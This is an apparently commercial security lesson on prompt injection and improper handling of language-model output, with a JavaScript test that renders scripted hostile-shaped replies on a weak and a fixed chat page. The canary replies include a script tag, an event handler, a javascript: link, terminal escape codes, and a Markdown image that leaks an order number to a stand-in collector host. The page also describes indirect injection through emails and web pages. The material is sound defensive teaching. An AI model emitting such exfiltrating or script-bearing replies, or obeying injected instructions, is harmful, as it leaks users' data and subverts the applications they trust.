Your country

Tools that support it use your country for local currency, number formats, units and paper size. Your choice is saved only in this browser.

Type a name or a two-letter code. Use the up and down arrow keys to move through the countries, Enter to choose one and Escape to close.

Web Security (OWASP Top 10:2025)  Module 14 – LLM features (OWASP Top 10 for LLM Applications 2026)

Prompt injection and unsafe model output

See how prompt injection becomes unsafe model output, close each sink with encoding, schemas and allowlists, and test the controls with scripted replies.

  • Advanced
  • 35 minutes
  • Examples run with Node.js 24.21.0, quickjs 0.32.0, Python 3.14.8, Pyodide 314.0.7 and sql.js 1.14.2
  • By MySmartCoPilot
Free core, Pro depth: 10 of 35 minutes free
Free: Model output is untrusted input to every place it lands · Prompt injection reaches the output by two doors · Eight scripted replies break a weak page and leave a fixed page alone. With a pass: 3 in-depth parts and 3 interview answers, about 25 minutes.

What you will learn

  • Reproduce direct and indirect prompt injection against your own app using a scripted mock model, with no live model and no third-party systems
  • Apply output-handling rules: encode, validate, parameterise and sandbox, treating model output as untrusted
  • Prevent exfiltration channels such as auto-rendered Markdown images and links, and neutralise control characters
  • Limit structured output and tool calls to schemas and allowlists
  • Test defences with deterministic adversarial fixtures and state the residual risk honestly

Before you start

What you’ll learn · Before you start

What you will learn

  • Reproduce direct and indirect prompt injection against your own app using a scripted mock model, with no live model and no third-party systems
  • Apply output-handling rules: encode, validate, parameterise and sandbox, treating model output as untrusted
  • Prevent exfiltration channels such as auto-rendered Markdown images and links, and neutralise control characters
  • Limit structured output and tool calls to schemas and allowlists
  • Test defences with deterministic adversarial fixtures and state the residual risk honestly

Before you start

On this page

A chat assistant answers with a Markdown image whose address ends in an order number. The page renders the reply, the browser fetches the image, and the number has left the building without anyone clicking. In this lesson’s first program, a scripted model gives a weak chat page eight replies and 5 of them cause an effect, while a fixed page causes none.

You will reproduce prompt injection: Input that changes what a language model does in a way the application's developer did not intend. It may come from the user directly, or from content the model reads: a web page, an email, a document or a tool result. More in “Threat model for LLM features (OWASP LLM Top 10)” and unsafe model output against your own page, with no live model, treat the reply as untrusted at every place it lands, and test the controls with scripted replies.

Model output is untrusted input to every place it lands

Unsafe model output is a reply that an application passes to a browser, a query, a shell, a file system, a tool or a terminal without treating it as untrusted. OWASP’s entry LLM10:2026, improper output handling: OWASP's name (LLM10:2026) for using a model's reply in a browser, query, shell, file system, tool or terminal without validating or encoding it first. The reply can be steered by text the model read., says why that is dangerous: what a model writes can be steered by what it read, so using it unchecked is similar to giving whoever steered it indirect access to the code that receives it. The rule is the one the web has always had, applied to a new source. Treat the model like any other user, validate what it sends and encode what you show. Step through the places a reply can land:

Interactive · step by step One reply, six places it can land Step through the sinks a model's reply can reach and see which weakness each one turns it into.
One reply, six places it can land, step 7 of 7. Showing Model reply, Web page, Markdown view, Database query, File path or shell, Tool call, Terminal or log. In focus: Terminal or log.encodedrop or proxyparameterisecontain, no shellallowlist, schemastrip controlsModel replytext a stranger may steerWeb pageHTML in a browserMarkdown viewimages and linksDatabase querySQL textFile path or shellnames and commandsTool callname and argumentsTerminal or logcontrol characters

The drawing shows the whole scene; its 7 steps are listed below.

Every step as text
  1. The reply. A model's reply is text, and anyone who got a sentence into what the model read may have steered it. The application decides where that text goes next, and each place treats text differently.
  2. A web page. Put into HTML as it is, markup in the reply is read by the browser and runs with the rights of the page. That is cross-site scripting, CWE-79. Encoding the reply for HTML turns it back into text.
  3. A Markdown view. A chat view that renders Markdown may fetch an image at once, with the address chosen by the reply. Data in that address leaves with the request, and nobody clicked. Drop images, or send them through a proxy.
  4. A query. SQL written by a model and run as text is SQL injection, CWE-89. The safe forms are a fixed query with values bound as parameters, or an intent that the model picks from a short list.
  5. A path or a shell. A file name taken from the reply can climb out of its folder, CWE-22, and a command line built from it is command injection, CWE-78. Check a name against its folder, and pass arguments as a list to a program, never to a shell.
  6. A tool call. The name and arguments of a tool call are output too. Accept only names on an allowlist, check the arguments against a schema, and take the user from the session and never from the reply.
  7. A terminal or a log. Escape sequences in a reply can rewrite a terminal line or hide text in a log viewer, CWE-117 for logs. Replace control characters with visible escapes before the text is written.

Each place is an old weakness with a new source, and the fix is an old one too. An application that guards against unsafe model output encodes for HTML, binds values in queries, keeps names inside their folder, applies an allowlist: A list of the only names or values that are accepted, with everything else refused. It is safer than a denylist, which has to name every bad value and misses the spelling nobody thought of. to tools and strips control characters.

Checkpoint

Check: Output is untrusted at every sink

  1. One question A model's reply includes a file name that the application opens. Which weakness does that risk, and what is the control?

    Choose one answer.

    Show the answer: One question

    Answer: Path traversal, CWE-22; check the name against its folder and refuse names that leave it

    Each sink has its own control. For a path or a shell, contain the name in its folder and pass arguments as a list to a program, never as text to a shell.

Prompt injection reaches the output by two doors

Prompt injection is input that changes what a model does in a way its developer did not intend, and it has two doors:

Door Who supplies the text Where it sits
Direct The user, or someone on the user’s path The message the user sends
indirect prompt injection: Prompt injection that arrives in content the model reads for the user, such as a web page, an email, a retrieved passage or a tool result, and not in the user's own message. The user may never see it. More in “Threat model for LLM features (OWASP LLM Top 10)” A stranger whom the user never meets A web page, an email, a retrieved document, a tool result or an issue title

Either way, what reaches your code is the reply. Whether a given model can be talked into a given reply is a question of probability that you cannot settle. What your page does with the reply is deterministic, and you can test it.

Checkpoint

Check: Direct and indirect injection

  1. One question A support assistant summarises a customer's email, and the email tells it to forward the thread to a stranger. Which kind of prompt injection is this?

    Choose one answer.

    Show the answer: One question

    Answer: Indirect prompt injection

    The email is content that the model ingests. The person using the assistant did not supply it and may never see the instruction.

Eight scripted replies break a weak page and leave a fixed page alone

To test a page you need replies, not a model. The mock model: A scripted stand-in for a model that returns replies written in the test. It lets you test how an application handles any reply, hostile ones included, without a live model and without any real data. of the program returns eight scripted replies: three ordinary and five shaped like trouble, with markers in place of real attack code, a reserved host name and a made-up order number. It gives each reply to a weak page and to a fixed page, then reads the output for what a browser or a terminal would do with it:

Eight scripted replies on a weak page and a fixed page JavaScript · chat/chat_render.mjs
// A scripted stand-in for a model: it returns the replies written below, in order, so the only thing that changes between
// two runs is the page that shows them. The hostile-shaped replies are canaries: markers, a reserved host name (RFC 2606)
// and a made-up order number, so that nothing here can reach a real system.
const REPLIES = [
  { id: 'plain', text: 'Your order ships on Monday.' },
  { id: 'bold', text: 'Your order is **confirmed** and ships on Monday.' },
  { id: 'link', text: 'More help: [Help centre](https://shop.example/help)' },
  { id: 'script', text: 'Done. <script>markHit("script")</script>' },
  { id: 'handler', text: 'Hover to expand: <span onmouseover="markHit(\'handler\')">details</span>' },
  { id: 'image', text: '![order status](https://collector.example/pixel.png?order=ORDER-1187)' },
  { id: 'js-link', text: '[Track your parcel](javascript:markHit("link"))' },
  { id: 'ansi', text: 'Refund approved.\u001b[2K\u001b[1GAll checks passed.' },
];
const mockModel = (turn) => REPLIES[turn];

// The first page: renders a little Markdown and passes everything else through, and writes the reply to a log as it is.
function weakPage(text) {
  const html = text
    .replace(/!\[([^\]]*)\]\(([^)]*)\)/g, '<img alt="$1" src="$2">')
    .replace(/\[([^\]]*)\]\(([^)]*)\)/g, '<a href="$2">$1</a>')
    .replace(/\*\*([^*]+)\*\*/g, '<strong>$1</strong>');
  return { html: `<p>${html}</p>`, log: text };
}

// The second page: encodes the reply for HTML, so the browser shows what the model wrote and reads none of it, and makes
// control characters visible in the log.
const ENTITIES = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' };
function fixedPage(text) {
  const html = text.replace(/[&<>"']/g, (c) => ENTITIES[c]);
  const log = text.replace(/[\u0000-\u0008\u000b-\u001f\u007f]/g, (c) => `\\x${c.charCodeAt(0).toString(16).padStart(2, '0')}`);
  return { html: `<p>${html}</p>`, log };
}

// What a browser or a terminal would do with the output, found by reading it (nothing is run).
function effects({ html, log }) {
  const found = [];
  if (/<script\b/i.test(html)) found.push('script element');
  if (/<[^>]+\son\w+\s*=/i.test(html)) found.push('event handler');
  if (/<img\b[^>]*\ssrc=/i.test(html)) found.push('image fetched');
  if (/href="\s*javascript:/i.test(html)) found.push('javascript link');
  if (/\u001b/.test(log)) found.push('terminal control');
  return found;
}

const decode = (html) => html.slice(3, -4).replace(/&(amp|lt|gt|quot|#39);/g, (m) => ({ '&amp;': '&', '&lt;': '<', '&gt;': '>', '&quot;': '"', '&#39;': "'" })[m]);
let weakHits = 0;
let fixedHits = 0;
let shown = 0;
console.log('reply       weak page                   fixed page');
for (let turn = 0; turn < REPLIES.length; turn++) {
  const reply = mockModel(turn);
  const weak = effects(weakPage(reply.text));
  const fixed = effects(fixedPage(reply.text));
  if (weak.length) weakHits++;
  if (fixed.length) fixedHits++;
  if (decode(fixedPage(reply.text).html) === reply.text) shown++;
  console.log(`${reply.id.padEnd(11)} ${(weak.join(', ') || '-').padEnd(27)} ${fixed.join(', ') || '-'}`);
}
console.log(`\nWeak page: ${weakHits} of ${REPLIES.length} replies caused an effect. Fixed page: ${fixedHits} of ${REPLIES.length}.`);
console.log(`The fixed page shows ${shown} of ${REPLIES.length} replies exactly as the model wrote them.`);
console.log(`Log line of the last reply, weak page: ${JSON.stringify(weakPage(REPLIES[7].text).log)}`);
console.log(`Log line of the last reply, fixed page: ${JSON.stringify(fixedPage(REPLIES[7].text).log)}`);

Output

reply       weak page                   fixed page
plain       -                           -
bold        -                           -
link        -                           -
script      script element              -
handler     event handler               -
image       image fetched               -
js-link     javascript link             -
ansi        terminal control            -

Weak page: 5 of 8 replies caused an effect. Fixed page: 0 of 8.
The fixed page shows 8 of 8 replies exactly as the model wrote them.
Log line of the last reply, weak page: "Refund approved.\u001b[2K\u001b[1GAll checks passed."
Log line of the last reply, fixed page: "Refund approved.\\x1b[2K\\x1b[1GAll checks passed."

Recorded with Node.js 24.21.0 on macOS 26 arm64. To run it yourself: mise exec node@24.21.0 -- node chat_render.mjs

The weak page lets 5 of the 8 replies act: a script element, an event handler, an image that the browser fetches with the order number in its address, a link that runs a script, and a terminal control. The fixed page causes none, and it shows all 8 replies exactly as the model wrote them, because it encodes each reply for HTML and shows control characters as visible escapes. That is the whole fix: one rule for the place the reply lands. The cost is that Markdown such as bold text is shown as typed.

Where the reply lands The control What it does
HTML page Encode Shows markup as text
Database query Parameterise Keeps values out of the command
Tool call Validate Runs known tools with known arguments
File or shell Contain Keeps names in a folder and commands out of a shell
Image or link Never fetch by itself Keeps data out of an address
Terminal or log Strip Shows escape sequences as text

Key idea

Encode the reply for the place it lands, and what the model wrote can never become more than text.

Checkpoint

Check: Encoding for the place it lands

  1. Question 1 of 2 In the first program, how many of the eight scripted replies cause an effect on the weak page?

    Type a number.

    Show the answer: Question 1 of 2

    Answer: 5 replies

    A script element, an event handler, an image that is fetched, a script link and a terminal control: 5 replies. The three ordinary replies, a plain one, one with bold text and one with a link to a help page, cause nothing.

  2. Question 2 of 2 Why does the fixed page show control characters in its log as visible escapes?

    Choose one answer.

    Show the answer: Question 2 of 2

    Answer: A raw escape sequence is obeyed by a terminal or hides text in a log viewer, and a visible escape keeps the record honest

    A log is read by people and tools. Writing the reply with its control characters shown as text means that nothing in it can act on the terminal that displays it.

Closing the channels that leak: images, links and invisible text Pro: opens with a Pro, Premium or Ultimate pass

A reply can send data out without a click: an image the page fetches, a link someone follows, a character nobody can see. This part names each channel, writes the renderer that closes them without losing ordinary formatting, and scores it on twenty fixtures.

In this part:

  • Five channels, and the control for each
  • A renderer that closes them, scored on twenty fixtures
  • Images: drop them, or send them through a server

1 runnable example (JavaScript) · about 6 minutes

Opening this part with your pass…

This part opens with any MySmartCoPilot pass.

  • Pro pass · 1 week₹79$2.99
  • 30 days₹179$5.99
  • 1 year₹1,699$45

One payment; a pass never renews. The price shown is the total you pay: no fees or charges are added at checkout.

It also opens every other in-depth part in Learn and every Pro tool. Sales are final, except where the law gives you a right to withdraw, for example in the EU and the UK (refund policy).

Tool calls as data: allowlists, schemas and the signed-in user Pro: opens with a Pro, Premium or Ultimate pass

A tool call is output too, and it is the output with the most power. This part runs a weak router and a fixed one on the same ten proposals, walks the gates a call passes, compares three ways to reach a database, and ends with an exercise that builds a router.

In this part:

  • Ten proposals for a weak router and a fixed one
  • Seven gates between a proposal and a run
  • Letting a model reach a database
  • Build the router
  • Route the tool calls of a notes assistant safely
    • Results of the sample tests

1 diagram · 1 runnable example (Python) · 1 exercise with sample tests · about 10 minutes

Opening this part with your pass…

This part opens with any MySmartCoPilot pass.

  • Pro pass · 1 week₹79$2.99
  • 30 days₹179$5.99
  • 1 year₹1,699$45

One payment; a pass never renews. The price shown is the total you pay: no fees or charges are added at checkout.

It also opens every other in-depth part in Learn and every Pro tool. Sales are final, except where the law gives you a right to withdraw, for example in the EU and the UK (refund policy).

Testing without a model, and the residual risk in writing Pro: opens with a Pro, Premium or Ultimate pass

You cannot prove that a model will never follow a planted sentence, so you test the part you control and say what remains. This part runs a suite of scripted replies, switches each control off to see whether a test notices, and ends with a template for stating the residual risk.

In this part:

  • A suite that needs no model
  • Static tests overstate protection
  • Writing the residual risk down, with a rubric
  • What to keep from the three parts

1 runnable example (JavaScript) · about 4 minutes

Opening this part with your pass…

This part opens with any MySmartCoPilot pass.

  • Pro pass · 1 week₹79$2.99
  • 30 days₹179$5.99
  • 1 year₹1,699$45

One payment; a pass never renews. The price shown is the total you pay: no fees or charges are added at checkout.

It also opens every other in-depth part in Learn and every Pro tool. Sales are final, except where the law gives you a right to withdraw, for example in the EU and the UK (refund policy).

Practise: check the core ideas

Test yourself on the three ideas above, from the places a reply lands to the scripted replies. The questions start with the ideas that you answered least well:

Practice that adapts to you

Practise this lesson

9 questions about 6 ideas of this lesson. Each answer is explained at once, and what you get right is kept in this browser.

  1. Question 1 of 9 What is unsafe model output?

    Choose one answer.

    Show the answer: Question 1 of 9

    Answer: A reply that reaches a browser, a query, a shell, a file system, a tool or a terminal without being treated as untrusted

    The question is always what the code that receives the reply does with it. If it trusts the reply, the reply can steer that code.

  2. Question 2 of 9 Which control belongs to a reply that is joined into a database query?

    Choose one answer.

    Show the answer: Question 2 of 9

    Answer: Bind it as a parameter of a fixed query

    Each place has its own control. Match the control to the place the reply lands: encode for HTML, bind for queries, contain for paths, allowlist for tools, strip for terminals.

  3. Question 3 of 9 A team encodes every reply for HTML and says the output problem is solved. The assistant also writes replies to a log viewed in a terminal and calls tools. What is missing?

    Choose one answer.

    Show the answer: Question 3 of 9

    Answer: The controls for the other places: control characters in the log and an allowlist and schema for the tools

    Count the places the reply goes and give each one its control. The step-through of the sinks lists six.

  4. Question 4 of 9 What is the difference between direct and indirect prompt injection?

    Choose one answer.

    Show the answer: Question 4 of 9

    Answer: Direct comes from the user or someone on the user's path; indirect comes from content the model reads, such as a page, a document or a tool result

    The doors differ in who supplies the text. They meet at the reply, which is what your code receives.

  5. Question 5 of 9 An assistant that summarises web pages obeys a sentence hidden in a page. Which door was used, and who wrote the sentence?

    Choose one answer.

    Show the answer: Question 5 of 9

    Answer: The indirect door; the page's author, not the person who asked for the summary

    Indirect injection turns the content that a person asks the model to read into the source of the instruction.

  6. Question 6 of 9 Whichever door the text came through, why does the defence in this lesson start at the output?

    Choose one answer.

    Show the answer: Question 6 of 9

    Answer: What reaches your code is the reply, and what the code does with it is deterministic and can be tested

    You cannot settle what a model will do with a sentence. You can settle what your application does with the reply.

  7. Question 7 of 9 On the fixed page of the program, how many of the eight replies are shown exactly as the model wrote them?

    Type a number.

    Show the answer: Question 7 of 9

    Answer: 8 replies

    The program prints that the fixed page shows 8 of 8 replies exactly as written, because encoding turns markup back into text and the browser decodes it for display.

  8. Question 8 of 9 Encoding a reply for HTML is the right control for the page. Why is it not the right control for the log?

    Choose one answer.

    Show the answer: Question 8 of 9

    Answer: The log is read by a terminal or a log viewer, where the danger is control characters, and HTML encoding does not change them

    Encode for the place the output lands. For HTML that is entities, for a log it is visible escapes for control characters.

  9. Question 9 of 9 A teammate suggests blocking any reply that contains the word script, instead of encoding. What is wrong with that?

    Choose one answer.

    Show the answer: Question 9 of 9

    Answer: A blocklist has to guess every spelling and misses the other harmful replies, while encoding turns whatever arrives into text

    A rule that encodes for the sink covers every reply. A rule that looks for bad words covers the words you thought of.

Interview questions

Warm-up: what does it mean to treat model output as untrusted?

It means giving the model’s reply the checks you give anything a stranger sends. Validate its shape before a backend uses it, and encode it for the place it lands, such as HTML or a log. Bind it as a parameter in a query and never join it into the text. Check file names against their folder. Run a tool call only if the name is on an allowlist and the arguments pass a schema, with the user taken from the session. The reason is that a reply can be steered by anything the model read, so a polite reply that contains markup is still markup.

  1. Mid to senior

    In a code review you find that the chat widget renders the model's Markdown with a library default that fetches images. Security wants images gone, and product says images are the feature. What do you propose, and how do you test it?

    Model answer, Pro. Model answers open with any pass; prices are in the notice on this page. First step and follow-ups

  2. Mid to senior

    A pull request adds a tool router that calls the function the model names, with the arguments the model gives, including a user field. What is wrong with it, and what does the safer version look like?

    Model answer, Pro. First step and follow-ups

  3. Mid to senior

    How do you test that an application handles hostile model output when you cannot control the model, and what do you tell the product owner about the risk that remains?

    Model answer, Pro. First step and follow-ups

Flashcards · 5 cards

Recall it, then check

Say the answer to yourself before you look: recalling it is what makes it stick.

  1. What is unsafe model output, and what rule fixes it?

    A reply that an application passes to a browser, a query, a shell, a file system, a tool or a terminal without treating it as untrusted (LLM10:2026 Improper Output Handling). What a model writes can be steered by what it read, so using it unchecked gives whoever steered it indirect access to the code that receives it. Treat the model like any other user: validate what it sends and encode what you show.

  2. Which control fits each place a model reply lands?

    HTML page: encode. Database query: parameterise. Tool call: validate against an allowlist and a schema, with the user taken from the session. File or shell: contain, with names kept in a folder and commands out of a shell. Image or link: never fetch by itself, so data stays out of an address. Terminal or log: strip control characters, shown as visible escapes.

  3. What are the two doors of prompt injection, and what does your code see through either?

    Direct: the user, or someone on the user's path, supplies the text in the message. Indirect: a stranger the user never meets supplies it in a web page, email, retrieved document, tool result or issue title. Either way your code sees only the reply. The chance that a model is argued into a particular reply is a question of probability that you cannot settle; what your page does with the reply is deterministic and testable.

  4. How can a Markdown image in a chat reply leak data without a click?

    The page renders the reply, the browser fetches the image, and the address ends in an order number, so the number has left the building. In the lesson the weak page let 5 of 8 scripted replies act (a script element, an event handler, an image fetched with the order number in its address, a link that runs script, a terminal control); the fixed page let none.

  5. How do you test a chat page's output handling without a live model?

    With a stand-in model that returns scripted replies, ordinary ones and ones shaped like trouble with harmless markers, a reserved host name and a made-up order number, and read the page's output for what a browser or terminal would do. The fixed page encoded each reply and showed control characters as visible escapes, at the cost that Markdown such as bold text shows as typed.

Key takeaways

  • Unsafe model output is a reply that reaches a browser, a query, a shell, a file system, a tool or a terminal without being treated as untrusted.
  • Prompt injection arrives directly from a user or indirectly through content the model reads, and either way your code sees only the reply.
  • Encode the reply for the place it lands: the weak page let 5 of 8 scripted replies act, and the fixed page none.

Terms in this lesson

allowlist
A list of the only names or values that are accepted, with everything else refused. It is safer than a denylist, which has to name every bad value and misses the spelling nobody thought of.
improper output handling
OWASP's name (LLM10:2026) for using a model's reply in a browser, query, shell, file system, tool or terminal without validating or encoding it first. The reply can be steered by text the model read.
mock model
A scripted stand-in for a model that returns replies written in the test. It lets you test how an application handles any reply, hostile ones included, without a live model and without any real data.

References

Related tools

Report a problem with this lesson

Quick answers and tool search

Type to search tools or to get a quick answer, for example 18% of 2500. Use the up and down arrow keys to move through the results, Enter to choose, and Escape to close.